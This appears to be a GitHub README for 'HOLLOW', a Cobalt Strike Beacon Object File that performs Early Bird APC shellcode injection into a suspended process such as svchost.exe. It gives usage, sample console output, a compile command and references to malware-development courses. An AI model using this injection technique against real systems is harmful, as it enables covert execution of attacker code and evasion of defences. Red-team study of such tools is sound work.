HOLLOW - Cobalt Strike BOF

Authors:

• Bobby Cooke (@0xBoku)
• Justin Hamilton (@JTHam0)
• Octavio Paguaga (@OakTree__)
• Matt Kingstone (@n00bRage)

Beacon Object File (BOF) that spawns an arbitrary process from beacons memory in a suspended state, inject shellcode, hijack main thread with APC, and execute shellcode; using the Early Bird injection method taught by @SEKTOR7net in RED TEAM Operator: Malware Development Intermediate.

• Sektor7 RED TEAM Operator: Malware Development Intermediate Course

Run from Cobalt Strike Beacon Console

• After compile import the hollow.cna script into Cobalt Strikes Script Manager

beacon> help hollow
Synopsis: hollow /path/to/hollow/pe /local/path/to/shellcode.bin
beacon> hollow svchost.exe /Users/bobby.cooke/popCalc.bin
[*] HOLLOW - EarlyBird Remote Process Shellcode Injector (@0xBoku|github.com/boku7) | (@JTHam0|github.com/Rodion0)
[*]             (@n00bRage|github.com/josephkingstone) | (@OakTree__|github.com/git-oaktree)
[*] Reading shellcode from: /Users/bobby.cooke/popCalc.bin
[+] Success - Spawned process for svchost.exe at 5464 (PID)
[+] Success - Allocated RE memory in remote process 5464 (PID) at: 0x000001A83BEC0000
[+] Success - Wrote 280 bytes to memory in remote process 5464 (PID) at 0x000001A83BEC0000
[+] Success - APC queued for main thread of 5464 (PID) to shellcode address 0x000001A83BEC0000
[+] Success - Your thread was resumed and your shellcode is being executed within the remote process!

Compile with x64 MinGW (only tested from macOS):

x86_64-w64-mingw32-gcc -c hollow.x64.c -o hollow.x64.o

To Do List

• Refactor code to make it more modular/clean
• Implement this into github.com/boku7/SPAWN
  • Combine this with the PPID spoofing and blockdll features of SPAWN

Credits / References

• Credit/shoutout to: @SEKTOR7net + Raphael Mudge

Sektor7 Malware Dev Essentials course - learned how to do the early bird injection technique

• https://institute.sektor7.net/red-team-operator-malware-development-essentials

Raphael Mudge - Beacon Object Files - Luser Demo

• https://www.youtube.com/watch?v=gfYswA_Ronw

Cobalt Strike - Beacon Object Files

• https://www.cobaltstrike.com/help-beacon-object-files

BOF Code References

• https://github.com/odzhan/injection/blob/master/syscalls/inject_dll.c
• https://github.com/ajpc500/BOFs/blob/main/SyscallsInject/entry.c
• https://github.com/ajpc500/BOFs/blob/main/SyscallsInject/syscalls_inject.cna